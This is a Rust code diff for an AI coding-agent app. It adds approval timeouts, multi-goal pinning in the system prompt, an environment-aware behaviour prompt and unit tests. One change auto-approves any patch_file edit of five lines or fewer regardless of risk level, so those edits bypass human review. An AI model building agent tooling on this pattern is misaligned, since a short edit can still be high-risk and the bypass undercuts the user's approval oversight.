// 逐个处理超时审批(每个独立处理,一个失败不影响其他)
for approval in expired {
let tc_id = approval.tool_call_id.clone();
tracing::info!(
conv_id = %conv_id,
tool_call_id = %tc_id,
tool_name = %approval.tool_name,
timeout_minutes,
"[APPROVAL-TIMEOUT] 审批超时({}min)自动取消", timeout_minutes,
);
// 1. 从内存 pending_approvals 移除
{
let mut session = state.ai_session.lock().await;
session.pending_approvals.remove(&tc_id);
// 2. 替换占位 tool_result 为超时取消提示(让 LLM 看到回执不再盲猜)
session
.conv(conv_id)
.messages
.replace_tool_result_content(&tc_id, &format!("审批超时({}分钟)已自动取消,请改换其他方案", timeout_minutes));
}
// 3. emit AiApprovalResult(让前端清除 pending UI)
let ev = AiChatEvent::AiApprovalResult {
id: tc_id.clone(),
approved: false,
conversation_id: Some(conv_id.to_string()),
};
let _ = app.emit("ai-chat-event", ev.clone());
let _ = state.ai_event_bus.publish_event(ev);
// 4. audit_finalize 记入审计表
audit_finalize(
state,
&tc_id,
"rejected",
Some(format!("审批超时({}分钟)自动取消", timeout_minutes)),
)
.await;
}
// 落库会话状态变更(占位消息替换后需持久化,防重启后丢失)
save_conversation(&state.ai_session, &state.db, conv_id, None, None, true).await;
}

View File

@@ -27,10 +27,10 @@
//! # 与目标钉扎(G1)的衔接(2026-06-26) //! # 与目标钉扎(G1)的衔接(2026-06-26)
//! //!
//! `ConvState` 管**生成生命周期**(Idle/Generating/Stopping/Error/Compressed 5 态 7 边); //! `ConvState` 管**生成生命周期**(Idle/Generating/Stopping/Error/Compressed 5 态 7 边);
//! 目标 / 进度等**内容态**挂 [`PerConvState`](../mod.rs) 兄弟字段(如 `pinned_goal`), //! 目标 / 进度等**内容态**挂 [`PerConvState`](../mod.rs) 兄弟字段(如 `pinned_goals`),
//! 两者**正交**。**不要把目标塞进 `ConvState` 变体** —— 否则 5 态会膨胀成 //! 两者**正交**。**不要把目标塞进 `ConvState` 变体** —— 否则 5 态会膨胀成
//! `GeneratingWithGoal` / `IdleWithGoal` 爆炸组合,违反「轻量状态机不引入框架」原则。 //! `GeneratingWithGoal` / `IdleWithGoal` 爆炸组合,违反「轻量状态机不引入框架」原则。
//! 目标钉扎字段(G1)与本 enum 互不感知:G1 改 `PerConvState.pinned_goal`, //! 目标钉扎字段(G1)与本 enum 互不感知:G1 改 `PerConvState.pinned_goals`,
//! 本文件 enum/impl/transition_to 守卫/guard.rs 零改动。 //! 本文件 enum/impl/transition_to 守卫/guard.rs 零改动。
use serde::{Deserialize, Serialize}; use serde::{Deserialize, Serialize};

View File

@@ -132,14 +132,19 @@ pub const GOAL_PIN_ENABLED: bool = true;
/// system_prompt,无标题分隔(紧凑,排障/对比用)。 /// system_prompt,无标题分隔(紧凑,排障/对比用)。
pub const GOAL_INJECT_BANNER: bool = true; pub const GOAL_INJECT_BANNER: bool = true;
/// G1 截断长度:目标文本截断上限(默认 500 字符)。 /// G1 截断长度:每条目标文本截断上限(默认 500 字符)。
/// ///
/// 防 R1 反向风险:长 user 消息(粘贴需求文档/长 bug 描述)每轮占 system_prompt 预算。 /// 防 R1 反向风险:长 user 消息(粘贴需求文档/长 bug 描述)每轮占 system_prompt 预算。
/// system_prompt 虽不被裁剪但仍计 sys_tokens 占预算,故截断防长目标撑爆。500 保守(首版, /// system_prompt 虽不被裁剪但仍计 sys_tokens 占预算,故截断防长目标撑爆。500 保守(首版,
/// 可调),足够覆盖正常一句话目标。截断后追加「…」省略号标识。 /// 可调),足够覆盖正常一句话目标。截断后追加「…」省略号标识。
pub const GOAL_MAX_CHARS: usize = 500; pub const GOAL_MAX_CHARS: usize = 500;
/// G4 目标感知降级:话题标记 insert 当 pinned_goal 存在时跳过(默认 true)。 /// G1 多目标上限:最多累积目标数(默认 5)。
///
/// 防无限膨胀:每次发消息提取的目标追加到 pinned_goals vec,超上限时淘汰最早目标。
pub const MAX_GOALS: usize = 5;
/// G4 目标感知降级:话题标记 insert 当 pinned_goals 存在时跳过(默认 true)。
/// ///
/// 治 R2(话题标记反向误导):G1 目标钉扎生效后每轮 system_prompt 已含目标,topic marker 的 /// 治 R2(话题标记反向误导):G1 目标钉扎生效后每轮 system_prompt 已含目标,topic marker 的
/// 「请以新话题为准」软提示成冗余且与目标矛盾(诊断 §三双锚点稀释)。true(默认)= 当 /// 「请以新话题为准」软提示成冗余且与目标矛盾(诊断 §三双锚点稀释)。true(默认)= 当
@@ -240,6 +245,9 @@ pub const CIRCUIT_BREAKER_HELP_EVENT: bool = true;
mod guard; mod guard;
use guard::GeneratingGuard; use guard::GeneratingGuard;
/// 审批超时取消(由 try_continue_agent_loop 入口调用)
mod approval_timeout;
// ============================================================ // ============================================================
// L2 统一状态机(ConvState enum + 转换守卫,单一真相源)。 // L2 统一状态机(ConvState enum + 转换守卫,单一真相源)。
// 设计:generating状态机加固-2026-06-15.md §3 + aichat体验与agent能力系统化重构-2026-06-21.md §3。 // 设计:generating状态机加固-2026-06-15.md §3 + aichat体验与agent能力系统化重构-2026-06-21.md §3。
@@ -768,51 +776,74 @@ pub(crate) async fn run_agentic_loop(
// BUG-260617-12: DeepSeek thinking 模式推理内容跨轮透传 // BUG-260617-12: DeepSeek thinking 模式推理内容跨轮透传
let mut last_reasoning_content: Option<String> = None; let mut last_reasoning_content: Option<String> = None;
// G1 目标钉扎:入口把 PerConvState.pinned_goal 拼进 system_prompt 尾部(一次拼好整个 loop 复用)。 // G1 目标钉扎:入口把 PerConvState.pinned_goals 拼进 system_prompt 尾部(一次拼好整个 loop 复用)。
// //
// 治 R1(目标消息被压缩出局)/R5(prompt 说教无锚点):system_prompt 是 loop 不变量 + build_for_request // 治 R1(目标消息被压缩出局)/R5(prompt 说教无锚点):system_prompt 是 loop 不变量 + build_for_request
// 从不裁剪它,故目标天然免疫压缩/裁剪/sanitize。本块是治 R1 的结构性根因(目标进 prompt 字符串非 // 从不裁剪它,故目标天然免疫压缩/裁剪/sanitize。本块是治 R1 的结构性根因(目标进 prompt 字符串非
// messages 流,无 insert_at(0) 的连续 System 1214/首位锚点稀释/小预算被裁三重风险)。 // messages 流,无 insert_at(0) 的连续 System 1214/首位锚点稀释/小预算被裁三重风险)。
// //
// 单次 lock 读 pinned_goal clone(复用 L693-697 stop_flag 取用模式,同一 lock 块);Some 且非空 → // 单次 lock 读 pinned_goals clone(复用 stop_flag 取用模式,同一 lock 块);非空 → 逐条截断到
// 截断到 GOAL_MAX_CHARS,按 GOAL_INJECT_BANNER 拼 banner+目标。GOAL_PIN_ENABLED=false → 整块跳过, // GOAL_MAX_CHARS,按 GOAL_INJECT_BANNER 拼 banner+编号列表。GOAL_PIN_ENABLED=false → 整块跳过,
// pinned_goal 永远 None(单点回退等价改动前)。拼接在 sys_tokens 估算前(sys_tokens 估算拼接后的 prompt) // pinned_goals 永远空 Vec(单点回退等价改动前)。拼接在 sys_tokens 估算前。
// //
// 注:仅 run_agentic_loop 入口注入。手动压缩(ai_chat_compress_context IPC)/标题/提炼等路径不注入 // 注:仅 run_agentic_loop 入口注入。手动压缩/标题/提炼等路径不注入目标。
// 目标(对齐 openQuestions 决策:首版仅 agentic loop 入口拼,其他路径不动)。
let mut system_prompt = system_prompt; let mut system_prompt = system_prompt;
if GOAL_PIN_ENABLED { if GOAL_PIN_ENABLED {
let goal_opt: Option<String> = { let goals: Vec<String> = {
let session = session_arc.lock().await; let session = session_arc.lock().await;
session session
.conv_read(&conv_id) .conv_read(&conv_id)
.and_then(|c| c.pinned_goal.clone()) .map(|c| c.pinned_goals.clone())
.unwrap_or_default()
}; };
if let Some(goal) = goal_opt { if !goals.is_empty() {
let goal_text = goal.trim(); let goal_lines: Vec<String> = goals.iter().enumerate().map(|(i, g)| {
if !goal_text.is_empty() { let g = g.trim();
let goal_text: String = goal_text.chars().take(GOAL_MAX_CHARS).collect(); let truncated: String = g.chars().take(GOAL_MAX_CHARS).collect();
let goal_text = if goal_text.chars().count() >= GOAL_MAX_CHARS { let truncated = if truncated.chars().count() >= GOAL_MAX_CHARS {
format!("{}", goal_text) format!("{}", truncated)
} else { } else {
goal_text truncated
}; };
format!("{}. {}", i + 1, truncated)
}).collect();
let goals_text = goal_lines.join("\n");
system_prompt = if GOAL_INJECT_BANNER { system_prompt = if GOAL_INJECT_BANNER {
format!( format!(
"{}\n\n## 当前目标(全程锚定,所有动作须服务于它)\n{}", "{}\n\n## 当前目标(全程锚定,所有动作须服务于它)\n{}",
system_prompt, goal_text system_prompt, goals_text
) )
} else { } else {
format!("{}\n\n{}", system_prompt, goal_text) format!("{}\n\n{}", system_prompt, goals_text)
}; };
tracing::info!( tracing::info!(
conv_id = %conv_id, conv_id = %conv_id,
chars = goal_text.chars().count(), count = goals.len(),
"[ai] G1 目标钉扎:已把 pinned_goal 拼进 system_prompt" first_goal = %goals.first().map(|g| &g[..std::cmp::min(120, g.len())]).unwrap_or(""),
"[ai] G1 目标钉扎:已把 {} 个 pinned_goals 拼进 system_prompt",
goals.len()
); );
} }
} }
}
// EnvSnapshot 环境感知:入口把当前平台的真实环境(OS/shell/工具版本)拼进 system_prompt 尾部。
//
// 治「LLM 跨平台命令幻觉」:LLM 训练数据 Unix 多,易生成 macOS/Linux 语法命令(PowerShell 5
// 不支持 `&&`、Windows 路径分隔符 `\`、GBK 终端中文乱码),把真实环境塞 prompt 即可锚定
// 输出平台一致性。detect() 是 OnceLock 全局缓存(启动时探一次,后续零开销),与 G1 一样
// 是 loop 不变量(整个会话不重探),与目标钉扎拼接次序无强约束(放其后,语义自然)。
let env_prompt = df_execute::EnvSnapshot::detect().await.to_prompt();
let behavior_prompt = "\n## AI 定位\n你是 DevFlow 的 AI 助手,拥有完整的工具链。用户只负责提需求和审批,所有执行由你完成——读写文件、运行命令、创建项目、搜索代码等都是你直接调用工具完成的。**绝不输出“请在终端执行以下命令”这类指令——你自己用 run_command 工具执行即可。**\n\n## 行为准则\n- 所有操作都通过工具完成,用户不参与执行\n- 优先使用开发工具 IPC,非必要不写独立脚本\n- 脚本需要审批通过才执行,会拖慢工作流\n- 已有 40+ 工具覆盖绝大多数场景,先查工具列表再决定\n- 如果现有工具无法完成任务,告知用户缺少什么能力,建议向 DevFlow 反馈以开发新工具";
system_prompt = format!("{}\n\n{}\n\n{}", system_prompt, env_prompt, behavior_prompt);
// 对话透明化 L1:拍快照供 AiCompleted 事件携带,前端直接读取 pinned_goals 无需等 loadConversations
let pinned_goals_snapshot: Vec<String> = {
let session = session_arc.lock().await;
session
.conv_read(&conv_id)
.map(|c| c.pinned_goals.clone())
.unwrap_or_default()
};
// F-260616-13: system_prompt 是 run_agentic_loop 的不变参数(整个 loop 期间文本不变), // F-260616-13: system_prompt 是 run_agentic_loop 的不变参数(整个 loop 期间文本不变),
// 其 token 估算在 loop 外算一次缓存复用,避免每轮/每次重试重复 estimate_text(低收益优化,行为不变)。 // 其 token 估算在 loop 外算一次缓存复用,避免每轮/每次重试重复 estimate_text(低收益优化,行为不变)。
@@ -845,7 +876,7 @@ pub(crate) async fn run_agentic_loop(
spawn_ensure_title(&provider_config, &db, &conv_id, &app_handle, &session_arc, &llm_concurrency); spawn_ensure_title(&provider_config, &db, &conv_id, &app_handle, &session_arc, &llm_concurrency);
guard.reset().await; guard.reset().await;
// generating 复位后再 emit Completed保证前端收事件时后端已可接下一条(发送队列续发不被"正在生成中"拒绝) // generating 复位后再 emit Completed保证前端收事件时后端已可接下一条(发送队列续发不被"正在生成中"拒绝)
let _ = app_handle.emit("ai-chat-event", AiChatEvent::AiCompleted { total_tokens: usage.total_tokens, prompt_tokens: tokens.prompt(), completion_tokens: tokens.completion(), incomplete: None, conversation_id: Some(conv_id.clone()) }); let _ = app_handle.emit("ai-chat-event", AiChatEvent::AiCompleted { total_tokens: usage.total_tokens, prompt_tokens: tokens.prompt(), completion_tokens: tokens.completion(), incomplete: None, conversation_id: Some(conv_id.clone()), pinned_goals: pinned_goals_snapshot.clone() });
// L3 emit 双写:入口 stop 的 AiCompleted publish 到事件总线(EVENT_BUS_ENABLED 门控在 publish 内)。 // L3 emit 双写:入口 stop 的 AiCompleted publish 到事件总线(EVENT_BUS_ENABLED 门控在 publish 内)。
let _ = app_handle.state::<AppState>().ai_event_bus.publish_event(AiChatEvent::AiCompleted { let _ = app_handle.state::<AppState>().ai_event_bus.publish_event(AiChatEvent::AiCompleted {
total_tokens: usage.total_tokens, total_tokens: usage.total_tokens,
@@ -853,6 +884,7 @@ pub(crate) async fn run_agentic_loop(
completion_tokens: tokens.completion(), completion_tokens: tokens.completion(),
incomplete: None, incomplete: None,
conversation_id: Some(conv_id.clone()), conversation_id: Some(conv_id.clone()),
pinned_goals: pinned_goals_snapshot.clone(),
}); });
return; return;
} }
@@ -879,16 +911,11 @@ pub(crate) async fn run_agentic_loop(
return; return;
} }
let conv = session.conv(&conv_id); let conv = session.conv(&conv_id);
// G4 目标感知降级:总是 take_topic_marker(防 marker 累积),但若 pinned_goal 存在 // G4 目标感知降级:总是 take_topic_marker(防 marker 累积),但若 pinned_goals 非空
// 且 TOPIC_MARKER_GOAL_AWARE → 丢弃 take 结果(返 None 跳过 insert)。 // 且 TOPIC_MARKER_GOAL_AWARE → 丢弃 take 结果(返 None 跳过 insert)。
// 一次 lock 同读 pinned_goal(避免额外加锁)。take 后丢弃不影响下一轮(marker 每 push // 一次 lock 同读 pinned_goals(避免额外加锁)。take 后丢弃不影响下一轮(marker 每 push
// user 重检测生成,丢弃一次不残留)。GOAL_AWARE=false → 原样返回 marker(退旧行为)。 // user 重检测生成,丢弃一次不残留)。GOAL_AWARE=false → 原样返回 marker(退旧行为)。
let goal_active = TOPIC_MARKER_GOAL_AWARE let goal_active = TOPIC_MARKER_GOAL_AWARE && !conv.pinned_goals.is_empty();
&& conv
.pinned_goal
.as_deref()
.map(|g| !g.trim().is_empty())
.unwrap_or(false);
let marker = conv.messages.take_topic_marker(); let marker = conv.messages.take_topic_marker();
if goal_active && marker.is_some() { if goal_active && marker.is_some() {
tracing::info!( tracing::info!(
@@ -1428,6 +1455,7 @@ pub(crate) async fn run_agentic_loop(
completion_tokens: tokens.completion(), completion_tokens: tokens.completion(),
conversation_id: Some(conv_id.clone()), conversation_id: Some(conv_id.clone()),
incomplete: Some(true), incomplete: Some(true),
pinned_goals: pinned_goals_snapshot.clone(),
}); });
// L3 emit 双写:MidStream 保文 AiCompleted publish 到事件总线(门控在 publish 内)。 // L3 emit 双写:MidStream 保文 AiCompleted publish 到事件总线(门控在 publish 内)。
let _ = app_handle.state::<AppState>().ai_event_bus.publish_event(AiChatEvent::AiCompleted { let _ = app_handle.state::<AppState>().ai_event_bus.publish_event(AiChatEvent::AiCompleted {
@@ -1436,6 +1464,7 @@ pub(crate) async fn run_agentic_loop(
completion_tokens: tokens.completion(), completion_tokens: tokens.completion(),
incomplete: None, incomplete: None,
conversation_id: Some(conv_id.clone()), conversation_id: Some(conv_id.clone()),
pinned_goals: pinned_goals_snapshot.clone(),
}); });
return; return;
} }
@@ -1496,7 +1525,7 @@ pub(crate) async fn run_agentic_loop(
spawn_ensure_title(&provider_config, &db, &conv_id, &app_handle, &session_arc, &llm_concurrency); spawn_ensure_title(&provider_config, &db, &conv_id, &app_handle, &session_arc, &llm_concurrency);
guard.reset().await; guard.reset().await;
// generating 复位后再 emit Completed保证前端收事件时后端已可接下一条(发送队列续发不被"正在生成中"拒绝) // generating 复位后再 emit Completed保证前端收事件时后端已可接下一条(发送队列续发不被"正在生成中"拒绝)
let _ = app_handle.emit("ai-chat-event", AiChatEvent::AiCompleted { total_tokens: usage.total_tokens, prompt_tokens: tokens.prompt(), completion_tokens: tokens.completion(), incomplete: None, conversation_id: Some(conv_id.clone()) }); let _ = app_handle.emit("ai-chat-event", AiChatEvent::AiCompleted { total_tokens: usage.total_tokens, prompt_tokens: tokens.prompt(), completion_tokens: tokens.completion(), incomplete: None, conversation_id: Some(conv_id.clone()), pinned_goals: pinned_goals_snapshot.clone() });
// L3 emit 双写:stream 后 stop 的 AiCompleted publish 到事件总线(门控在 publish 内)。 // L3 emit 双写:stream 后 stop 的 AiCompleted publish 到事件总线(门控在 publish 内)。
let _ = app_handle.state::<AppState>().ai_event_bus.publish_event(AiChatEvent::AiCompleted { let _ = app_handle.state::<AppState>().ai_event_bus.publish_event(AiChatEvent::AiCompleted {
total_tokens: usage.total_tokens, total_tokens: usage.total_tokens,
@@ -1504,6 +1533,7 @@ pub(crate) async fn run_agentic_loop(
completion_tokens: tokens.completion(), completion_tokens: tokens.completion(),
incomplete: None, incomplete: None,
conversation_id: Some(conv_id.clone()), conversation_id: Some(conv_id.clone()),
pinned_goals: pinned_goals_snapshot.clone(),
}); });
return; return;
} }
@@ -1664,16 +1694,21 @@ pub(crate) async fn run_agentic_loop(
{ {
stall_warned = true; stall_warned = true;
let goal_text = if STALL_BREAKER_GOAL_REMIND { let goal_text = if STALL_BREAKER_GOAL_REMIND {
let g = session_arc let goals = session_arc
.lock() .lock()
.await .await
.conv_read(&conv_id) .conv_read(&conv_id)
.and_then(|c| c.pinned_goal.clone()) .map(|c| c.pinned_goals.clone())
.unwrap_or_default(); .unwrap_or_default();
if g.trim().is_empty() { if goals.is_empty() {
String::new() String::new()
} else { } else {
format!("(当前目标: {})", g.trim()) let goal_summary = goals.iter()
.map(|g| g.trim())
.filter(|g| !g.is_empty())
.collect::<Vec<_>>()
.join("; ");
format!("(当前目标: {})", goal_summary)
} }
} else { } else {
String::new() String::new()
@@ -1804,7 +1839,7 @@ pub(crate) async fn run_agentic_loop(
guard.reset().await; guard.reset().await;
// generating 复位后再 emit Completed落库/标题/提炼已在后台,前端立即感知完成 // generating 复位后再 emit Completed落库/标题/提炼已在后台,前端立即感知完成
let _ = app_handle.emit("ai-chat-event", AiChatEvent::AiCompleted { total_tokens: usage_total, prompt_tokens: tokens.prompt(), completion_tokens: tokens.completion(), incomplete: None, conversation_id: Some(conv_id.clone()) }); let _ = app_handle.emit("ai-chat-event", AiChatEvent::AiCompleted { total_tokens: usage_total, prompt_tokens: tokens.prompt(), completion_tokens: tokens.completion(), incomplete: None, conversation_id: Some(conv_id.clone()), pinned_goals: pinned_goals_snapshot.clone() });
// L3 emit 双写:正常完成 AiCompleted publish 到事件总线(EVENT_BUS_ENABLED 门控在 publish 内, // L3 emit 双写:正常完成 AiCompleted publish 到事件总线(EVENT_BUS_ENABLED 门控在 publish 内,
// 无消费者空转留批3 真实消费者接入)。AiTextDelta/AiToolCall* 高频事件不双写(无消费者空转)。 // 无消费者空转留批3 真实消费者接入)。AiTextDelta/AiToolCall* 高频事件不双写(无消费者空转)。
let _ = app_handle.state::<AppState>().ai_event_bus.publish_event(AiChatEvent::AiCompleted { let _ = app_handle.state::<AppState>().ai_event_bus.publish_event(AiChatEvent::AiCompleted {
@@ -1813,6 +1848,7 @@ pub(crate) async fn run_agentic_loop(
completion_tokens: tokens.completion(), completion_tokens: tokens.completion(),
incomplete: None, incomplete: None,
conversation_id: Some(conv_id.clone()), conversation_id: Some(conv_id.clone()),
pinned_goals: pinned_goals_snapshot.clone(),
}); });
} }
@@ -1896,6 +1932,12 @@ pub(crate) async fn try_continue_agent_loop(
conv_id: &str, conv_id: &str,
start_iteration: usize, start_iteration: usize,
) { ) {
// 审批超时检测:超时取消在本函数入口进行(本函数是所有审批恢复路径的入口——
// ai_approve / ai_authorize_dir / ai_continue_loop / ai_chat_stop 都调它)。
// 这里检测后把超时审批转为拒绝状态,避免用户离开后 pending 永久挂起死锁会话。
// 0 表示禁用超时(不推荐,但保留用户选择权)。检测失败(如锁中毒)不阻断续跑。
approval_timeout::cleanup_expired_approvals(app, state, conv_id).await;
// BUG-260617-05: 原 5 次独立 lock().await 造成 TOCTOU 竞态——should_continue=true 判出后、 // BUG-260617-05: 原 5 次独立 lock().await 造成 TOCTOU 竞态——should_continue=true 判出后、
// spawn 前用户点 stop(ai_chat_stop 复位 generating=false),续跑仍按过时快照继续 spawn。 // spawn 前用户点 stop(ai_chat_stop 复位 generating=false),续跑仍按过时快照继续 spawn。
// 修复:单次 lock 取结构化快照(所有续跑判定所需字段),无锁态判定;spawn 前单次 lock 原子 // 修复:单次 lock 取结构化快照(所有续跑判定所需字段),无锁态判定;spawn 前单次 lock 原子
@@ -1930,12 +1972,14 @@ pub(crate) async fn try_continue_agent_loop(
let is_generating = conv.map(|c| c.conv_state.is_active()).unwrap_or(false); let is_generating = conv.map(|c| c.conv_state.is_active()).unwrap_or(false);
let agent_language = conv.and_then(|c| c.agent_language.clone()); let agent_language = conv.and_then(|c| c.agent_language.clone());
let model_override = conv.and_then(|c| c.model_override.clone()); let model_override = conv.and_then(|c| c.model_override.clone());
let pinned_goals_snapshot = conv.map(|c| c.pinned_goals.clone()).unwrap_or_default();
ContinueSnapshot { ContinueSnapshot {
is_generating, is_generating,
has_pending, has_pending,
pending_conv_id, pending_conv_id,
agent_language, agent_language,
model_override, model_override,
pinned_goals_snapshot,
} }
}; };
let should_continue = snap.is_generating && !snap.has_pending; let should_continue = snap.is_generating && !snap.has_pending;
@@ -1962,6 +2006,7 @@ pub(crate) async fn try_continue_agent_loop(
completion_tokens: 0, completion_tokens: 0,
incomplete: None, incomplete: None,
conversation_id: Some(emit_conv_id), conversation_id: Some(emit_conv_id),
pinned_goals: snap.pinned_goals_snapshot.clone(),
}; };
let _ = app.emit("ai-chat-event", ev.clone()); let _ = app.emit("ai-chat-event", ev.clone());
// L3 emit 双写:tunnel subscriber(阶段2)透传 miniapp // L3 emit 双写:tunnel subscriber(阶段2)透传 miniapp
@@ -2053,6 +2098,7 @@ pub(crate) async fn try_continue_agent_loop(
completion_tokens: 0, completion_tokens: 0,
incomplete: None, incomplete: None,
conversation_id: Some(conv_id_owned.clone()), conversation_id: Some(conv_id_owned.clone()),
pinned_goals: snap.pinned_goals_snapshot.clone(),
}; };
let _ = app.emit("ai-chat-event", ev.clone()); let _ = app.emit("ai-chat-event", ev.clone());
// L3 emit 双写:tunnel subscriber(阶段2)透传 miniapp // L3 emit 双写:tunnel subscriber(阶段2)透传 miniapp
@@ -2088,4 +2134,70 @@ struct ContinueSnapshot {
pending_conv_id: Option<String>, pending_conv_id: Option<String>,
agent_language: Option<String>, agent_language: Option<String>,
model_override: Option<String>, model_override: Option<String>,
/// 对话透明化 L1:快照 pinned_goals 供 AiCompleted emit 携带
pinned_goals_snapshot: Vec<String>,
}
#[cfg(test)]
mod tests {
use super::*;
// ============================================================
// G2 is_empty_tool_result 单测
// ============================================================
#[test]
fn test_empty_tool_result_empty_string() {
assert!(is_empty_tool_result(""));
}
#[test]
fn test_empty_tool_result_whitespace() {
assert!(is_empty_tool_result(" "));
}
#[test]
fn test_empty_tool_result_total_zero() {
assert!(is_empty_tool_result(r#"{"total":0}"#));
}
#[test]
fn test_empty_tool_result_entries_empty() {
assert!(is_empty_tool_result(r#"{"entries":[]}"#));
}
#[test]
fn test_empty_tool_result_matches_empty() {
assert!(is_empty_tool_result(r#"{"matches":[]}"#));
}
#[test]
fn test_empty_tool_result_results_empty() {
assert!(is_empty_tool_result(r#"{"results":[]}"#));
}
#[test]
fn test_empty_tool_result_files_empty() {
assert!(is_empty_tool_result(r#"{"files":[]}"#));
}
#[test]
fn test_empty_tool_result_chinese_no_match() {
assert!(is_empty_tool_result("未找到相关文件"));
}
#[test]
fn test_empty_tool_result_english_no_match() {
assert!(is_empty_tool_result("No matches found"));
}
#[test]
fn test_non_empty_tool_result() {
assert!(!is_empty_tool_result(r#"{"total":5}"#));
}
#[test]
fn test_non_empty_tool_result_with_content() {
assert!(!is_empty_tool_result(r#"{"entries":["a.txt","b.txt"]}"#));
}
} }

View File

@@ -30,6 +30,7 @@ pub(super) fn data_change_for_tool(name: &str) -> Option<(&'static str, &'static
"delete_idea" => ("idea", "delete"), "delete_idea" => ("idea", "delete"),
"restore_project" => ("project", "update"), "restore_project" => ("project", "update"),
"bind_directory" => ("project", "update"), "bind_directory" => ("project", "update"),
"write_file" | "patch_file" => ("file", "update"),
_ => return None, _ => return None,
}; };
Some((entity, action)) Some((entity, action))

View File

@@ -142,6 +142,7 @@ mod idea_source_test_helpers {
use df_storage::crud::IdeaRepo; use df_storage::crud::IdeaRepo;
use df_storage::db::Database; use df_storage::db::Database;
use df_storage::models::IdeaRecord; use df_storage::models::IdeaRecord;
use df_types::types::IdeaStatus;
/// 建内存 DB(已跑 migrations,含 ideas 表)+ 插一条 IdeaRecord fixture,返回 db 句柄。 /// 建内存 DB(已跑 migrations,含 ideas 表)+ 插一条 IdeaRecord fixture,返回 db 句柄。
/// ///
@@ -155,7 +156,7 @@ mod idea_source_test_helpers {
id: id.to_string(), id: id.to_string(),
title: format!("fixture-{}", id), title: format!("fixture-{}", id),
description: String::new(), description: String::new(),
status: "draft".to_string(), status: IdeaStatus::Draft,
priority: 1, priority: 1,
score: None, score: None,
tags: None, tags: None,

View File

@@ -450,6 +450,7 @@ pub(crate) async fn process_tool_calls(
// 阶段3a:路径授权挂起标 kind=Path(req)(下沉原 path_auth 字段)。 // 阶段3a:路径授权挂起标 kind=Path(req)(下沉原 path_auth 字段)。
kind: ApprovalKind::Path(req), kind: ApprovalKind::Path(req),
retry_count, retry_count,
created_at: Some(std::time::SystemTime::now()),
}, },
); );
// 占位 tool_result(与 RiskLevel 审批一致),ai_authorize_dir 批准后替换为真实结果。 // 占位 tool_result(与 RiskLevel 审批一致),ai_authorize_dir 批准后替换为真实结果。
@@ -506,11 +507,19 @@ pub(crate) async fn process_tool_calls(
// low(默认):Low→auto, Med/High→审批(等价现状) // low(默认):Low→auto, Med/High→审批(等价现状)
// medium:Low/Med→auto, High→审批 // medium:Low/Med→auto, High→审批
// all:全 auto(完全接管,无审批) // all:全 auto(完全接管,无审批)
let should_auto = match risk_level { let mut should_auto = match risk_level {
RiskLevel::Low => true, RiskLevel::Low => true,
RiskLevel::Medium => auto_exec_mode == "medium" || auto_exec_mode == "all", RiskLevel::Medium => auto_exec_mode == "medium" || auto_exec_mode == "all",
RiskLevel::High => auto_exec_mode == "all", RiskLevel::High => auto_exec_mode == "all",
}; };
// C-260627: patch_file 小改动(≤5 行)自动放行,不阻塞 AI 工作流
if !should_auto && draft.name == "patch_file" {
if let Some(text) = args.get("new_text").and_then(|v| v.as_str()) {
if text.lines().count() <= 5 {
should_auto = true;
}
}
}
if should_auto { if should_auto {
low_risk.push((draft, args, risk_level)); low_risk.push((draft, args, risk_level));
} else { } else {
@@ -623,6 +632,7 @@ pub(crate) async fn process_tool_calls(
// 阶段3a:普通 RiskLevel 审批标 kind=Risk{diff}(下沉原 diff 字段)。 // 阶段3a:普通 RiskLevel 审批标 kind=Risk{diff}(下沉原 diff 字段)。
kind: ApprovalKind::Risk { diff: approval_diff.clone() }, kind: ApprovalKind::Risk { diff: approval_diff.clone() },
retry_count, retry_count,
created_at: Some(std::time::SystemTime::now()),
}); });
// 阶段2:占位带 __PENDING__:tc_id 标记,供 sanitize 豁免保留 + 出口断言自愈(防 400 orphan) // 阶段2:占位带 __PENDING__:tc_id 标记,供 sanitize 豁免保留 + 出口断言自愈(防 400 orphan)
session.conv(conv_id).messages.push(ChatMessage::tool_result(&draft.id, &pending_placeholder_for(&draft.id))); session.conv(conv_id).messages.push(ChatMessage::tool_result(&draft.id, &pending_placeholder_for(&draft.id)));

View File

@@ -79,6 +79,9 @@ pub async fn restore_pending_approvals(state: &AppState) {
// 阶段4:重启恢复的审批 retry_count=0(恢复语义即"待用户首次决策",非重试)。 // 阶段4:重启恢复的审批 retry_count=0(恢复语义即"待用户首次决策",非重试)。
// 即便审计表已有 pending 记录,恢复后用户审批执行属首次正常执行,不断路。 // 即便审计表已有 pending 记录,恢复后用户审批执行属首次正常执行,不断路。
retry_count: 0, retry_count: 0,
// 恢复审批 created_at=重启时刻(无原挂起时间记录,按当前系统时间计)。
// 超时取消计数仍从此刻起,避免恢复后立即被误判超时。
created_at: Some(std::time::SystemTime::now()),
}, },
); );
} }
@@ -133,6 +136,7 @@ mod tests_f09_batch8_restore {
kind: ApprovalKind::Risk { diff: None }, kind: ApprovalKind::Risk { diff: None },
// 阶段4:恢复的审批 retry_count=0(首次用户决策,非重试)。 // 阶段4:恢复的审批 retry_count=0(首次用户决策,非重试)。
retry_count: 0, retry_count: 0,
created_at: None,
}, },
); );
} }

View File

@@ -66,6 +66,7 @@ fn render_one(aug: &Augmentation, out: &mut String, label: &str) {
status, status,
description, description,
path, path,
extra,
.. ..
} => { } => {
out.push_str(""); out.push_str("");
@@ -85,6 +86,10 @@ fn render_one(aug: &Augmentation, out: &mut String, label: &str) {
out.push_str(description); out.push_str(description);
out.push('\n'); out.push('\n');
} }
for line in extra {
out.push_str(line);
out.push('\n');
}
out.push('\n'); out.push('\n');
} }
Augmentation::Task { Augmentation::Task {
@@ -92,6 +97,7 @@ fn render_one(aug: &Augmentation, out: &mut String, label: &str) {
status, status,
description, description,
project_name, project_name,
extra,
.. ..
} => { } => {
out.push_str(""); out.push_str("");
@@ -111,12 +117,17 @@ fn render_one(aug: &Augmentation, out: &mut String, label: &str) {
out.push_str(description); out.push_str(description);
out.push('\n'); out.push('\n');
} }
for line in extra {
out.push_str(line);
out.push('\n');
}
out.push('\n'); out.push('\n');
} }
Augmentation::Idea { Augmentation::Idea {
title, title,
status, status,
description, description,
extra,
.. ..
} => { } => {
out.push_str(""); out.push_str("");
@@ -131,6 +142,10 @@ fn render_one(aug: &Augmentation, out: &mut String, label: &str) {
out.push_str(description); out.push_str(description);
out.push('\n'); out.push('\n');
} }
for line in extra {
out.push_str(line);
out.push('\n');
}
out.push('\n'); out.push('\n');
} }
Augmentation::Skill { Augmentation::Skill {

View File

@@ -17,6 +17,7 @@ use df_storage::crud::{IdeaRepo, ProjectRepo, TaskRepo};
